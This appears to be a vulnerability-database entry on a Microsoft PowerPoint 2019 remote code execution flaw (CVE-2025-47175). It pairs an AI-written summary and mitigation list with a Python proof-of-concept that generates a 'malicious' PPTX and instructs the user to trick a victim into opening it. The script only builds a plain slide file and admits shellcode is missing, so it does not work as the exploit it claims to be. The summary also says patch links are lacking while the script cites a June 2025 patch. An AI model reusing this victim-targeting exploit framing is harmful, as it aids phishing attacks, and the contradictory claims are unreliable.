Microsoft PowerPoint 2019 - Remote Code Execution (RCE)
Microsoft PowerPoint 2019 - Remote Code Execution (RCE)
AI Analysis
Technical Summary
The reported security threat involves a Remote Code Execution (RCE) vulnerability in Microsoft PowerPoint 2019. RCE vulnerabilities allow an attacker to execute arbitrary code on a victim's machine, potentially gaining full control over the affected system. Although specific technical details about the vulnerability are not provided, the presence of an exploit in Python indicates that the vulnerability can be triggered remotely or locally by processing a crafted PowerPoint file or payload. Given the critical severity classification, this vulnerability likely allows an attacker to bypass security controls and execute malicious code without requiring user authentication, possibly exploiting flaws in how PowerPoint 2019 parses or handles certain file formats or embedded objects. The exploit could be delivered via phishing emails containing malicious PowerPoint attachments or through compromised websites hosting such files. The lack of patch links suggests that a fix may not yet be publicly available, increasing the risk of exploitation once the exploit code becomes widely known. The exploit code being in Python suggests it is designed for ease of use by attackers or penetration testers, potentially automating the exploitation process.
Potential Impact
For European organizations, this RCE vulnerability in Microsoft PowerPoint 2019 poses a significant risk to confidentiality, integrity, and availability of information systems. PowerPoint is widely used across enterprises, government agencies, and educational institutions in Europe, making this a high-value target. Successful exploitation could lead to unauthorized access to sensitive data, installation of malware or ransomware, lateral movement within networks, and disruption of business operations. Given the critical severity, attackers could gain persistent footholds, exfiltrate intellectual property, or disrupt critical services. The threat is particularly concerning for sectors with high reliance on Microsoft Office products, such as finance, healthcare, public administration, and manufacturing. The absence of known exploits in the wild currently provides a window for proactive defense, but the availability of exploit code lowers the barrier for attackers to weaponize this vulnerability rapidly.
Mitigation Recommendations
European organizations should prioritize the following mitigation steps: 1) Monitor official Microsoft channels closely for security updates or patches addressing this vulnerability and apply them immediately upon release. 2) Implement strict email filtering and attachment scanning to detect and block malicious PowerPoint files, including sandboxing attachments to observe behavior before delivery. 3) Educate users on the risks of opening unsolicited or suspicious PowerPoint attachments, emphasizing verification of sender authenticity. 4) Employ application whitelisting and endpoint detection and response (EDR) solutions to detect and prevent execution of unauthorized code. 5) Restrict macro execution and embedded content in PowerPoint files through group policies or Office security settings. 6) Conduct regular backups and ensure incident response plans are updated to handle potential ransomware or malware incidents stemming from this vulnerability. 7) Use network segmentation to limit lateral movement if a system is compromised. These targeted measures go beyond generic advice by focusing on the specific attack vector and exploitation method indicated by the presence of Python exploit code.

This PoC generates such a malicious PPTX file # designed to trigger the UAF condition. # # Steps of exploitation: # 1. Run this script to generate the malicious PPTX file. # 2. Send or trick the target user to open this file in a vulnerable PowerPoint version. # 3. Exploit triggers upon opening the file, leading to possible code execution. # # Note: This PoC creates a simplified PPTX file structure with crafted XML designed # to trigger the vulnerability. For a full exploit, further memory manipulation and shellcode injection # are required (not included here). # # Affected Versions: # Microsoft PowerPoint versions prior to June 2025 patch (KB5002689) # # Usage: # python3 exploit_cve2025_47175.py [options] # # Options: # -o, --output Output PPTX filename (default: exploit_cve_2025_47175.pptx) # -i, --id Shape ID (default: 1234) # -n, --name Shape Name (default: MaliciousShape) # -t, --text Trigger text inside the slide (default: explanation message) # # Example: # python3 exploit_cve2025_47175.py -o evil.pptx -i 5678 -n "BadShape" -t "Triggering CVE-2025-47175 now!" import zipfile import sys import argparse def create_exploit_pptx(filename, shape_id, shape_name, trigger_text): slide_xml = f'''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <p:sld xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main"> <p:cSld> <p:spTree> <p:sp> <p:nvSpPr> <p:cNvPr id="{shape_id}" name="{shape_name}"/> <p:cNvSpPr/> <p:nvPr/> </p:nvSpPr> <p:spPr/> <p:txBody> <a:bodyPr/> <a:lstStyle/> <a:p> <a:r> <a:t>{trigger_text}</a:t> </a:r> </a:p> </p:txBody> </p:sp> </p:spTree> </p:cSld> </p:sld>''' try: with zipfile.ZipFile(filename, 'w') as z: z.writestr('[Content_Types].xml', '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/ppt/slides/slide1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slide+xml"/> </Types>''') z.writestr('ppt/_rels/presentation.xml.rels', '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slide" Target="slides/slide1.xml"/> </Relationships>''') z.writestr('ppt/presentation.xml', '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <p:presentation xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main"> <p:sldIdLst> <p:sldId id="256" r:id="rId1"/> </p:sldIdLst> <p:sldSz cx="9144000" cy="6858000" type="screen4x3"/> </p:presentation>''') z.writestr('ppt/slides/slide1.xml', slide_xml) print(f"[+] Malicious PPTX file '{filename}' created successfully.") print("[*] Deliver this file to the victim and wait for them to open it in vulnerable PowerPoint.") except Exception as e: print(f"[-] Error: {e}", file=sys.stderr) sys.exit(1) def main(): parser = argparse.ArgumentParser(description='Exploit generator for CVE-2025-47175 (PowerPoint UAF)') parser.add_argument('-o', '--output', type=str, default='exploit_cve_2025_47175.pptx', help='Output PPTX filename (default: exploit_cve_2025_47175.pptx)') parser.add_argument('-i', '--id', type=int, default=1234, help='Shape ID (default: 1234)') parser.add_argument('-n', '--name', type=str, default='MaliciousShape', help='Shape Name (default: MaliciousShape)') parser.add_argument('-t', '--text', type=str, default='This content triggers CVE-2025-47175 UAF vulnerability.', help='Trigger text inside the slide (default: explanation message)') args = parser.parse_args() create_exploit_pptx(args.output, args.id, args.name, args.text) if __name__ == "__main__": main()
